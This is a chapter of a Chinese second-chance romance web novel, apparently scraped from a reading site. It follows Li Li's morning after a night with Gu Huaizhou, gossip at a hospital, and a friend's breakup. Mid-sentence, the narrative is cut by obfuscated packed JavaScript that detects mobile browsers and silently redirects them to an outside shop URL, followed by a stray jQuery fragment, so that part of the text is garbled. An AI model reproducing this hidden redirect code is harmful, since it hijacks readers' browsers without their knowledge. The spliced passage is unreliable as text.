18. 第17章

作品:《月迷舟渡[破镜重圆]

    黎栎没能睡太久,早上七点,摔坏了听筒的手机突然猛烈地炸响了铃声,她仰面揉了揉睡眠不足而刺痛的眉心,叹了口气。


    坐起,纯黑色的丝绒床品顺着皮肤肌理滑落,她动了动有些发酸的腿,确定这不是做梦,自己和顾淮舟又睡到一起去了。


    “想什么呢?”


    “嗯?没,没什么,陈娇让我回电。”


    黎栎被突然走进的顾淮舟吓了一跳,她下意识地拿被子把自己裹起来,刻意回避顾淮舟的视线。不知是不是背后有伤的缘故,浴袍被他穿得松松垮垮,胸前的线条若隐若现,黎栎不可控制地想起前一晚他尽情时,汗滴顺着肌肉流下时的样子。


    好在顾淮舟只是淡笑了一下,便一脸“回避”的表情,又重新退出去了。黎栎一个人坐在kingsize的床人,试图回忆起昨晚的整个过程,却发现一切毫无逻辑。


    她出于尊医重道地送顾淮舟回了家,又帮他上药,可之后,两人是怎么互诉衷肠,又是怎么亲吻、相拥到一起的,她自己也想不出一个合理的解释。


    十分钟后,听主卧一直未有动静,顾淮舟的声音从客厅传来:“衣服给你准备好了,用不用给你拿过去?上班来不及了哦。”


    黎栎抿起嘴,闭了闭眼,硬着头皮说:“嗯,顾淮舟,你,帮我拿一下吧。”


    “叫我什么?”


    “顾淮舟啊。”


    被叫到名字的人手抓了一个巨大的纯黑购物袋轻置在床头的桌子上,他对听到的回答明显不太满意,手指在袋子上轻轻地点了点,说:“你昨晚不是这么叫的吧?”


    黎栎还未反驳,顾淮舟松开袋子上的抽绳,用下巴点了点,继续问:“试试,看合不合身。”


    这是他昨晚答应赔给自己的衣服,黎栎瞥见角落里被他撕得拼凑不完全的米黄色布料,想到那花了自己一个月工资的成衣,毫不客气地伸手朝袋子里探了过去。


    “顾淮舟!你害不害臊!”


    “怎么了,我还记得记得尺码,不应该夸我吗?”


    黎栎看着那条撤了外包装的内衣,瞬间从脸红到了耳朵根,顾淮舟闷哼着吃下她挥来的拳,故作隐忍地“嘶”了一声。


    “别装了,昨晚我就是被你骗到了。”


    “我真没装,”说着顾淮舟就解开浴袍的系带,将后背转向黎栎,“伤口真的破了。”


    黎栎还没来得及分清他这是假卖惨还是真秀腹肌,顾淮舟又重新把浴袍披了回去,他重新拍了拍那个购物袋,说:“你那件是最后一件,同款我让顾云帆从香港给你带回来,委屈黎大小姐穿一下我选的咯。”


    他闲庭碎步地踱到主卧门口,又重新退回来,倚着房门:“牙膏给你挤好了,在卫生间。”


    黎栎到得有些晚,平时爱停的车位已经被人占了,她在地下绕了一大圈,才把自己的小车塞进去,已经离上班时间没几分钟了。


    最初赵教授安排人给她和艾米办过权限,但她一直觉得自己并非真正的医护人员,去挤占人家用来救命抢时间的内部通道实为不道德。可想了想自己刚花出去的那笔置装费,实在不舍得全勤被扣。一咬牙,钻进了满是医院员工的电梯。


    黎栎自知自己的商务打扮和医院以干练整洁为最高标准的原则格格不入,一进电梯,她就戴上了耳机和墨镜不听不看。谁料宜大附院的设备老旧,电梯里常常连不上信号,她正不断刷新着音乐软件,周围的窃窃私语乱码般传进耳朵。


    说来说去,无非是讨论顾淮舟前一晚被病人家属打了的事。


    “这种事,谁说得准呢。林院长一路保驾护航,又是赵主任亲自带的徒弟,估计最后就是高高举起,轻轻放下,给病人道个歉完事了。”


    黎栎闻言皱了皱眉,她取下耳机,搽了口红,目视着电梯不断上升的数字,清了清嗓音说:“您说错了吧,这天下没有被打的人给行凶者道歉的道理。”


    她穿了昨天买的恨天高鞋子,比电梯里的人都要高,那几个闲言碎语的人四下看了眼,才仰视发觉声音来自一个生面孔。为首的人记起黎栎按下的楼层,继续阴阳怪气道:“神外的啊,难怪呢,惯数他们科会护短。”


    “要真是问心无愧,能心虚地当晚就走吗?”


    “你———”


    电梯“叮”地一下到了,黎栎话音未止,却也不想耽误其他医生的工作,只从那人身边路过时,赌气地狠狠挤了一把。


    她想不通,顾淮舟明明是救人的那一个,他们凭什么这么说他。


    黎栎经过前一晚的一番折腾,本就没什么力气,到办公的地方时,险些撞到正要去接水的艾米身上。


    “咦,你怎么来了?人事那边说,昨天可以给你按出差算的,还以为今天你会调休。”


    她上下打量了一眼黎栎,换了身和昨天同品牌的套装,浅粉底遮了遮眼下乌青,却依旧看得出神色恹恹。


    “这么舍得,看来音联的项目奖金你没少拿。”


    艾米在罗迪欧大道泡了四年,对这些奢侈品款式如数家珍。黎栎想到这件衣服的来路,不愿再跟她讨论下去,拿处理工作为由回避她的继续追问。


    电脑开机的漫长等待,黎栎包里崭新的手机振动了两下,她从显示屏上收回视线,落在手机屏幕处。


    舟舟:【听说你今天霸气护夫了?】


    黎栎想也知道,顾淮舟给她新手机导入信息时顺便存了自己联系方式,她快速敲了几下键盘。


    黎栎:【你怎么知道?】


    【还有,谁是谁夫?】


    灵远的二轮融资已经到了关键时刻,她没多少时间陪顾淮舟玩这些文字游戏,很快她又投入进新的报告的撰写里,直到午饭时间结束,手机都再也没传来任何消息。


    她抄送完最后一封邮件,顺手拿起还没太适应的新手机。


    解锁,刷新,解锁。


    循环往复。


    “干嘛呢Helena,午休就这么短,让我睡会,别老摆弄你那手机了。”


    艾米埋在颈枕里发出控告,她翻了个身背对着黎栎。工位上再度回归寂静,黎栎对着已经进入浅睡眠的艾米比了个“OK”,轻手把手机放回原处。她正准备也咪一会,伸手朝椅背上拽了几下却抓了个空。


    那条骑士围巾落在顾淮舟家里了,而她自己都不清楚,何时已经对那围巾产生了依赖。


    她重新拿起手机编辑了一条内容。聊天框上,除了软件系统自带的打招呼便只有今天的那几句对话,她咬唇看了几秒,还是按下发送。


    黎栎:【我围巾落在你家了,能不能给我送来。】


    依旧是石沉大海的回应,黎栎内心不禁升起一丝烦躁。出门时顾淮舟特意说了科室里要把他暂时停职,她甚至想象得出,他坐在家里那个阳光房的躺椅上,悠闲地啃着外文原著的样子。


    到底是多好看,甚至顾不上回她的消息。


    “艾米,帮我在OA上走一下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173581|196290||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    调休程序,回来我重重有谢!”


    黎栎一脚油门踩到底,一路畅通无阻地开到顾淮舟家楼下,后视镜里照出她有些疲倦的脸,和全身上下出自顾淮舟手笔的打扮。


    这和她无数次梦魇的场景一模一样。


    她重重地把头磕在方向盘上,高档小区最值钱的寂静被她廉价二手车的鸣笛打破。黎栎的口袋里突然振动起来,听到陈娇的哭腔,她的理智短暂收回。


    车子向后倒了几步,又径直驶去,再也未回头。


    *


    “你你你,你是说,你和顾淮舟……不对不对,当时不是你甩了他吗?这种天之骄子,也能,厌得下这口气!”


    黎栎摊了摊手,她在陈娇的车房里搜刮一气,竟找不到一丝可以填肚子的东西。午饭因为那进入心流状态的报告已经错过,现下正饿得难受。


    “你叫我来不是安慰你的吗,怎么净八卦我了。说说吧,你和许总怎么了,这次又因为什么吵架,我帮你分析一下。”


    陈娇伸出她保养得荔枝般细嫩的食指,在黎栎眼前晃了晃,她纠正道:“是分手,不是吵架。”


    “我和他的事没什么好说的,反正这一天总会来的,我也从没想过我们会一生一世,正好,我也需要一份拿得出手的、和他无关的作品来证明,我转型当演员这条路并没有选错。”


    陈娇坐在地上开肩,气息略显急促,表情却没什么变化。


    黎栎欲言又止,陈娇从音乐学院毕业后为了成为一个合格的演员,吃了多少苦她是清楚的。她绝对不希望有人因为许励的存在而否定陈娇的付出。但她更是清楚,这些年来陈娇每每因许励的庇护,才免于遭到不合理的待遇。


    情爱一事,总是旁观者清。


    “至少,许总对你是真心的,真有那一天,他未必会轻易放弃。”


    “唉,真心有什么用。当年你执意要去德国,难道是因为顾淮舟对你不是真心的吗?还不是比起他你更相信你自己……现如今这样挺好的,他搏他的商业版图,我演好我的小角色。”


    “怎么这话你说出来,感觉我这么绝情……”


    黎栎侧过身,身体前倾眯着眼看向好友。陈娇转了转眼珠,嘿嘿笑了两声,她收起长腿凑到黎栎脸前,认真地问:“你说实话,他都26了,表现有没有退步?”


    “陈娇!”


    黎栎的脸、脖子瞬间红成一片,她跳下凳子和陈娇扭打到一块。自从做了演员后,陈娇早就成了肩不能扛手不能提的仙女,反倒是黎栎混在男人扎堆的工科生里,力气是越练越大。陈娇被黎栎整个擒住,呜呜了两声。


    “咳咳……他憋了那么多年,猜也知道一定挺快。我说黎栎,就算要复合你也要考虑清楚,你几乎错过了他最行的几年,咳咳……”


    听到复合两字,黎栎渐渐送了力气,她这几天收到的冲击太多。每当遇到这种情况,总是她少有的怀念柏林生活的时候,德国人直球而单线程,往往简单得如机器,输入程序,后台自动运行就是了。


    陈娇察觉到她的不对劲,她才欲开口,助理便敲了敲窗。


    “娇姐,有个男人来找栎姐。”


    “哦,帅吗?”陈娇有些兴奋,这圈子里不少都是艺术学院出身的,以黎栎的长相天资,片场碰到大学时期暗恋黎栎的也是正常,她吃瓜的心情已经按捺不住,只听助理很快接茬。


    “嗯!很帅,他说他姓顾,要把黎小姐从您身边借走几分钟。”